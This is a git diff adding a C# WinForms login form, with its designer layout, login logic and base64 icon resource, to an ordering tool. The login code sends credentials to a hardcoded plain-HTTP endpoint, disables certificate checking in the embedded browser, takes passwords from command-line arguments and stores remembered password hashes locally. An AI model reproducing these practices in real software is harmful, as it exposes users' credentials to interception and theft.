DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtmobile.Border.BorderTop = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtmobile.Border.Class = "TextBoxBorder"; + this.txtmobile.Border.CornerDiameter = 3; + this.txtmobile.Border.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.txtmobile.Location = new System.Drawing.Point(97, 93); + this.txtmobile.Name = "txtmobile"; + this.txtmobile.Size = new System.Drawing.Size(168, 23); + this.txtmobile.TabIndex = 51; + this.txtmobile.WatermarkFont = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtmobile.WatermarkText = "请输入手机号"; + // + // txtpassword + // + // + // + // + this.txtpassword.Border.BorderBottom = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtpassword.Border.BorderColor = System.Drawing.Color.DeepSkyBlue; + this.txtpassword.Border.BorderLeft = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtpassword.Border.BorderRight = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtpassword.Border.BorderTop = DevComponents.DotNetBar.eStyleBorderType.Solid; + this.txtpassword.Border.Class = "TextBoxBorder"; + this.txtpassword.Border.CornerDiameter = 3; + this.txtpassword.Border.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.txtpassword.Location = new System.Drawing.Point(97, 126); + this.txtpassword.Name = "txtpassword"; + this.txtpassword.PasswordChar = '*'; + this.txtpassword.Size = new System.Drawing.Size(168, 23); + this.txtpassword.TabIndex = 52; + this.txtpassword.WatermarkFont = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.txtpassword.WatermarkText = "请输入密码"; + // + // checkBoxAutoLogin + // + // + // + // + this.checkBoxAutoLogin.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.checkBoxAutoLogin.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.checkBoxAutoLogin.Location = new System.Drawing.Point(191, 157); + this.checkBoxAutoLogin.Name = "checkBoxAutoLogin"; + this.checkBoxAutoLogin.Size = new System.Drawing.Size(80, 22); + this.checkBoxAutoLogin.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.checkBoxAutoLogin.TabIndex = 58; + this.checkBoxAutoLogin.Text = "自动登录"; + this.checkBoxAutoLogin.TextColor = System.Drawing.Color.FromArgb(((int)(((byte)(101)))), ((int)(((byte)(101)))), ((int)(((byte)(101))))); + // + // remember + // + // + // + // + this.remember.BackgroundStyle.CornerType = DevComponents.DotNetBar.eCornerType.Square; + this.remember.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.remember.Location = new System.Drawing.Point(104, 157); + this.remember.Name = "remember"; + this.remember.Size = new System.Drawing.Size(80, 22); + this.remember.Style = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.remember.TabIndex = 54; + this.remember.Text = "记住密码"; + this.remember.TextColor = System.Drawing.Color.FromArgb(((int)(((byte)(101)))), ((int)(((byte)(101)))), ((int)(((byte)(101))))); + this.remember.CheckedChanged += new System.EventHandler(this.remember_CheckedChanged); + // + // loginPanel + // + this.loginPanel.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.loginPanel.Cursor = System.Windows.Forms.Cursors.Hand; + this.loginPanel.DisabledBackColor = System.Drawing.Color.Empty; + this.loginPanel.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.loginPanel.Location = new System.Drawing.Point(104, 189); + this.loginPanel.Name = "loginPanel"; + this.loginPanel.Size = new System.Drawing.Size(151, 24); + this.loginPanel.Style.Alignment = System.Drawing.StringAlignment.Center; + this.loginPanel.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.loginPanel.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(0)))), ((int)(((byte)(160)))), ((int)(((byte)(233))))); + this.loginPanel.Style.BorderColor.ColorSchemePart = DevComponents.DotNetBar.eColorSchemePart.PanelBorder; + this.loginPanel.Style.BorderDashStyle = System.Drawing.Drawing2D.DashStyle.Dash; + this.loginPanel.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.None; + this.loginPanel.Style.ForeColor.Color = System.Drawing.Color.White; + this.loginPanel.Style.GradientAngle = 90; + this.loginPanel.TabIndex = 53; + this.loginPanel.Text = "安 全 登 录"; + this.loginPanel.Click += new System.EventHandler(this.loginPanel_Click); + // + // lblContactSupport + // + this.lblContactSupport.AutoSize = true; + this.lblContactSupport.Location = new System.Drawing.Point(268, 162); + this.lblContactSupport.Name = "lblContactSupport"; + this.lblContactSupport.Size = new System.Drawing.Size(53, 12); + this.lblContactSupport.TabIndex = 100; + this.lblContactSupport.TabStop = true; + this.lblContactSupport.Text = "联系客服"; + this.lblContactSupport.Visible = false; + this.lblContactSupport.LinkClicked += new System.Windows.Forms.LinkLabelLinkClickedEventHandler(this.lblContactSupport_LinkClicked); + // + // LoginForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.ClientSize = new System.Drawing.Size(353, 262); + this.Controls.Add(this.panel1); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "LoginForm"; + this.Text = "LoginForm"; + this.TitleText = "LoginForm"; + this.Load += new System.EventHandler(this.LoginForm_Load); + this.Controls.SetChildIndex(this.panel1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pbCloseBase)).EndInit(); + this.panel1.ResumeLayout(false); + this.panel1.PerformLayout(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.panelEx1.ResumeLayout(false); + this.ResumeLayout(false); + + } + + #endregion + + private System.Windows.Forms.Panel panel1; + private DevComponents.DotNetBar.Controls.TextBoxX txtmobile; + private DevComponents.DotNetBar.Controls.TextBoxX txtpassword; + private DevComponents.DotNetBar.Controls.CheckBoxX checkBoxAutoLogin; + private DevComponents.DotNetBar.Controls.CheckBoxX remember; + private DevComponents.DotNetBar.PanelEx loginPanel; + private DevComponents.DotNetBar.PanelEx panelEx1; + private System.Windows.Forms.LinkLabel linkLabel2; + private System.Windows.Forms.LinkLabel linkLabel1; + private DevComponents.DotNetBar.PanelEx pnlShowRemember; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.PictureBox pictureBox1; + private System.Windows.Forms.LinkLabel lblContactSupport; + } +} \ No newline at end of file diff --git a/29WxOrder/LoginForm.cs b/29WxOrder/LoginForm.cs new file mode 100644 index 0000000..4a93f31 --- /dev/null +++ b/29WxOrder/LoginForm.cs @@ -0,0 +1,352 @@ +using AllBase; +using AllBase.DouYinModel.Param.LoginManage; +using CefSharp; +using CefSharp.WinForms; +using NaiBa.Util; +using NaiBa.Util.Helper; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.IO; +using System.Linq; +using System.Text; +using System.Threading.Tasks; +using System.Windows.Forms; +using Work; +using Work.BaseForms; + +namespace _29WxOrder +{ + public partial class LoginForm : BaseForm + { + string[] argsuser; + public LoginForm(string[] args) + { + InitializeComponent(); + if (FileBase.Exists(BaseClass.ProgromLogoIco)) + { + Image img = Image.FromFile(BaseClass.ProgromLogoIco); + BaseClass.Ico = ImgConvertToIcon.ConvertToIcon(img, false); + Icon = BaseClass.Ico; + } + if (FileBase.Exists(BaseClass.ProgromLogo)) + { + Image img = Image.FromFile(BaseClass.ProgromLogoIco); + pictureBox1.Image = img; + } + if (!string.IsNullOrEmpty(BaseClass.ProgramName)) + { + label3.Text = BaseClass.ProgramName; + } + + this.TitleText = this.Text = "用户登录"; + this.Minimized = this.MinimizeBox = false; + argsuser = args; + } + + private void LoginForm_Load(object sender, EventArgs e) + { + this.TitleText = "登录"; + //15222912892 + if (BaseClass.Remember) + { + remember.Checked = true; + txtmobile.Text = BaseClass.UserName; + if (!string.IsNullOrEmpty(BaseClass.PassWord)) + txtpassword.Text = "******"; + } + GetUserList(); +#if DEBUG + pnlShowRemember.Visible = true; + SetHideEvent(this); +#endif + if (argsuser.Length > 1) + { + txtmobile.Text = argsuser[0].Replace(" ", ""); + txtpassword.Text = "******"; + BaseClass.PassWord = argsuser[1].Replace(" ", ""); + loginPanel_Click(null, null); + } + + // 是否显示联系客服按钮 + if (FileBase.Exists("locales/ig.pak") || FileBase.Exists("locales/wl.pak")) + lblContactSupport.Visible = false; + else + lblContactSupport.Visible = true; + + #region 初始化cef + CefSharpSettings.WcfEnabled = false; + //CefSharpSettings.LegacyJavascriptBindingEnabled = true; + CefSettings settings = new CefSettings(); + settings.CachePath = System.IO.Directory.GetCurrentDirectory() + @"\Cache"; + settings.UserAgent = BaseClass.ChromeUserAgent; + settings.CefCommandLineArgs.Add("disable-gpu", "1"); + settings.IgnoreCertificateErrors = true; + settings.Locale = "zh-CN"; + settings.LogSeverity = LogSeverity.Disable; + Cef.Initialize(settings); + #endregion + } + + void SetHideEvent(Control control) + { + control.Click += Control_Click; + foreach (Control con in control.Controls) + { + SetHideEvent(con); + } + } + + private void Control_Click(object sender, EventArgs e) + { + if (sender != pnlShowRemember) + { + if (pnlRememberBox != null) + { + pnlRememberBox.Controls.Clear(); + pnlRememberBox.Visible = false; + } + pnlShowRemember.Text = "▼"; + return; + } + } + + private void loginPanel_Click(object sender, EventArgs e) + { + BaseClass.LoginApiUrl = "http://new.qixiaoke.com/"; + UserLogin ul = new UserLogin(); + //if (BaseClass.Remember&& BaseClass.UserName!="") + //{ + // ul.Mobile = BaseClass.UserName; + // ul.Password = "******"; + //} + //else + //{ + ul.Mobile = txtmobile.Text; + ul.Password = txtpassword.Text; + // } + + if (txtmobile.Text.Length != 11) + { + MessageBox.Show("手机号不正确", "提示"); + txtmobile.Focus(); + return; + } + if (txtpassword.Text.Length < 6) + { + MessageBox.Show("密码长度不正确", "提示"); + txtpassword.Text = ""; + txtpassword.Focus(); + return; + } + string message = ""; + int weakPassword = 0; + int lockUserName = 0; + string messageInfo = ""; + bool ok = ul.Get(ref message, out lockUserName, out weakPassword, out messageInfo); + if (ok && BaseClass.Remember) + { + if (remember.Checked == true) + { + Initialization i = new Initialization(); + i.SaveConfig(); + + var eUser = UserParamList.FirstOrDefault(u => u.UserName == BaseClass.UserName); + if (eUser != null) + UserParamList.Remove(eUser); + UserParamList.Add(new UserParam() + { + UserName = BaseClass.UserName, + PasswordMd5 = BaseClass.PassWord + }); + SaveUserList(); + } + #region 设置UA + string html = GetHtml.PostUtf8(BaseClass.UserAgentUrl, UserLogin.GetSignaturex()); + if (!string.IsNullOrEmpty(html) && !html.Contains("error") && !html.StartsWith("测试网络正常,现在时间是")) + { + BaseClass.ChromeUserAgent = html; + } + else + { + BaseClass.ChromeUserAgent = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36"; + } + var xx = FileBase.ReadTxt("\\temp\\userAgent", "useragent.txt"); + if (!string.IsNullOrEmpty(xx)) + { + BaseClass.ChromeUserAgent = xx.Trim(); + } + #endregion + + this.DialogResult = DialogResult.OK; + this.Dispose(); + this.Close(); + + } + if (!ok) + { + BaseMsgForm.ShowError(message, "登录失败"); + return; + } + } + + private void remember_CheckedChanged(object sender, EventArgs e) + { + BaseClass.Remember = remember.Checked; + } + + private DevComponents.DotNetBar.PanelEx pnlRememberBox = null; + /// + /// 保存用户登录信息 + /// + public static ConcurrentList UserParamList { get; set; } = new ConcurrentList(); + private void pnlShowRemember_Click(object sender, EventArgs e) + { + if (pnlShowRemember.Text == "▲") + { + if (pnlRememberBox != null) + { + pnlRememberBox.Controls.Clear(); + pnlRememberBox.Visible = false; + } + pnlShowRemember.Text = "▼"; + return; + } + pnlShowRemember.Text = "▲"; + + ShowUserDropDown(); + } + + private void ShowUserDropDown() + { + if (pnlRememberBox == null) + { + pnlRememberBox = new DevComponents.DotNetBar.PanelEx(); + int x = 0; + int y = 0; + Control control = this.txtmobile; + do + { + x += control.Location.X; + y += control.Location.Y; + control = control.Parent; + } + while (control != this && control != null); + pnlRememberBox.Location = new Point(x, y + txtmobile.Height + 1); + pnlRememberBox.Height = 105; + pnlRememberBox.Width = txtmobile.Width; + pnlRememberBox.AutoScroll = true; + pnlRememberBox.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + pnlRememberBox.Style.BorderColor.Color = Color.DeepSkyBlue; + pnlRememberBox.Padding = new Padding(1); + pnlRememberBox.Style.BackColor1.Color = Color.White; + pnlRememberBox.Style.BackColor2.Color = Color.White; + + this.Controls.Add(pnlRememberBox); + pnlRememberBox.BringToFront(); + } + + pnlRememberBox.Visible = true; + pnlRememberBox.Controls.Clear(); + int top = 0; + foreach (var user in UserParamList) + { + var pnlUser = new DevComponents.DotNetBar.PanelEx(); + pnlUser.Dock = DockStyle.Top; + pnlUser.Location = new Point(0, top); + pnlUser.Tag = user; + pnlUser.Height = 30; + pnlUser.Text = user.UserName; + pnlUser.Style.ForeColor.Color = Color.FromArgb(80, 80, 80); + pnlUser.Style.Font = txtmobile.Font; + pnlUser.Style.BackColor1.Color = Color.Transparent; + pnlUser.Style.BackColor2.Color = Color.Transparent; + pnlUser.Style.BorderSide = DevComponents.DotNetBar.eBorderSide.Bottom; + pnlUser.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + pnlUser.Style.BorderColor.Color = Color.FromArgb(225, 225, 225); + pnlUser.Click += PnlUser_Click; + + pnlRememberBox.Controls.Add(pnlUser); + + var pnlClose = new DevComponents.DotNetBar.PanelEx(); + pnlClose.Location = new Point(146, 7); + pnlClose.Tag = user; + pnlClose.Height = 16; + pnlClose.Width = 16; + pnlClose.Text = "x"; + pnlClose.Style.Font = new Font("微软雅黑", 9F, FontStyle.Regular); + pnlClose.Style.Alignment = StringAlignment.Center; + pnlClose.Style.ForeColor.Color = Color.FromArgb(80, 80, 80); + pnlClose.Style.BackColor1.Color = Color.Transparent; + pnlClose.Style.BackColor2.Color = Color.Transparent; + pnlClose.Style.Border = DevComponents.DotNetBar.eBorderType.None; + pnlClose.StyleMouseOver.Alignment = StringAlignment.Center; + pnlClose.StyleMouseOver.ForeColor.Color = Color.FromArgb(255, 255, 255); + pnlClose.StyleMouseOver.BackColor1.Color = Color.FromArgb(127, 127, 127); + pnlClose.StyleMouseOver.BackColor2.Color = Color.FromArgb(127, 127, 127); + pnlClose.Cursor = Cursors.Hand; + pnlClose.Click += PnlClose_Click; + + pnlUser.Controls.Add(pnlClose); + + top += 30; + } + } + private void PnlClose_Click(object sender, EventArgs e) + { + var pnl = sender as DevComponents.DotNetBar.PanelEx; + if (pnl != null) + { + var user = pnl.Tag as UserParam; + if (user != null) + { + UserParamList.Remove(user); + SaveUserList(); + ShowUserDropDown(); + } + } + } + + private void PnlUser_Click(object sender, EventArgs e) + { + var user = (sender as Panel)?.Tag as UserParam; + if (user != null) + { + BaseClass.UserName = user.UserName; + BaseClass.PassWord = user.PasswordMd5; + this.txtmobile.Text = user.UserName; + this.txtpassword.Text = "******"; + } + pnlRememberBox.Visible = false; + pnlRememberBox.Controls.Clear(); + pnlShowRemember.Text = "▼"; + } + + public static void SaveUserList() + { + ConfigHelper.SaveConfig("user_account_list", UserParamList); + } + + public static void GetUserList() + { + #region 用户账户记忆功能 + UserParamList = ConfigHelper.LoadConfig>("user_account_list"); + if (UserParamList == null) + UserParamList = new ConcurrentList(); + #endregion + } + + private void panelEx2_Click(object sender, EventArgs e) + { + + } + + private void lblContactSupport_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e) + { + SupportQrCodeForm qrForm = new SupportQrCodeForm(); + qrForm.ShowDialog(); + } + } +} diff --git a/29WxOrder/LoginForm.resx b/29WxOrder/LoginForm.resx new file mode 100644 index 0000000..e540000 --- /dev/null +++ b/29WxOrder/LoginForm.resx @@ -0,0 +1,1253 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + + + AAABAAEAgIAAAAEAIAAoCAEAFgAAACgAAACAAAAAAAEAAAEAIAAAAAAAAAgBAMQOAADEDgAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8b/34/VP9+P3//fj+m/34/zP9+ + P+T/fj/1/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj/6/34/7v9+P93/fj/M/34/pv9+P3//fj9U/34/GwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+ + PzP/fj+Q/34/2/9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/2/9+P5D/fj8zAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/Df9+P3T/fj/W/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/W/34/dP9+Pw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/EP9+P4D/fj/t/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/7f9+ + P4H/fj8QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAA/34/Af9+P2H/fj/r/34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P+v/fj9h/34/AQAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+PyT/fj/E/34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj/E/34/IwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAD/fj9V/34/8f9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj/x/34/VQAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8B/34/jP9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/jP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/34/Bv9+ + P6X/fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34/pf9+PwYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+Pwb/fj+3/34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4BC//+DRv//iU///4xU//+PWf//klz//5Nf//+WYv//lmP//5dk//+X + ZP//l2X//5dl//+WY///lF///5Jd//+QWf//jVb//4lQ//+FSv//gUT//34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/t/9+PwYAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj8B/34/pP9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///+CRP//ilD//5Jc//+bav//onX//6h9//+vh///uJb//8Sn///P + t///18P//9zL///g0f//5Nb//+fc///p3v//6t///+rg///q4P//6t///+ne///m2f//4dP//93N///Z + x///0Lr//8aq//+6mf//sYr//6qB//+keP//nW3//5Zj//+NVv//h0z//4BC//9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34/pP9+PwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP9+P4r/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///hEf//45X//+aaf//qoD//76f///T + vf//5dj//+/n///18P//+vj///37///+/f///fz///79///+/v///v7////+/////v////7///////// + /v////7//////////v/////////+/////v////7////+///+/v///v7///7+///9+///+vj///f0///y + 7P//6d///9zL///Lsf//uJX//6Z7//+ZaP//jVb//4JF//9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34/iwAA + AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/fj9V/34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///+D + Rv//kFr//6Z6///Aov//28n//+7l///59v///fz////+//////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + /////////////////////////////////////////////////v///v7///79///9/f//+PX//+7l///a + yP//vp7//6R3//+QWv//hUn//34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34/VQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA + AAAAAAAAAAAAAAAAAAAAAAAA/34/I/9+P/D/fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///4BB//+JUP//oHH//7+f///g0P//9O////z7/////v////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////////////////////////////////////////////// + //////////////////////////////////////7///7+///9/f//9vL//+PV///EqP//pnr//45X//+C + RP//fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+P///fj///34///9+ + 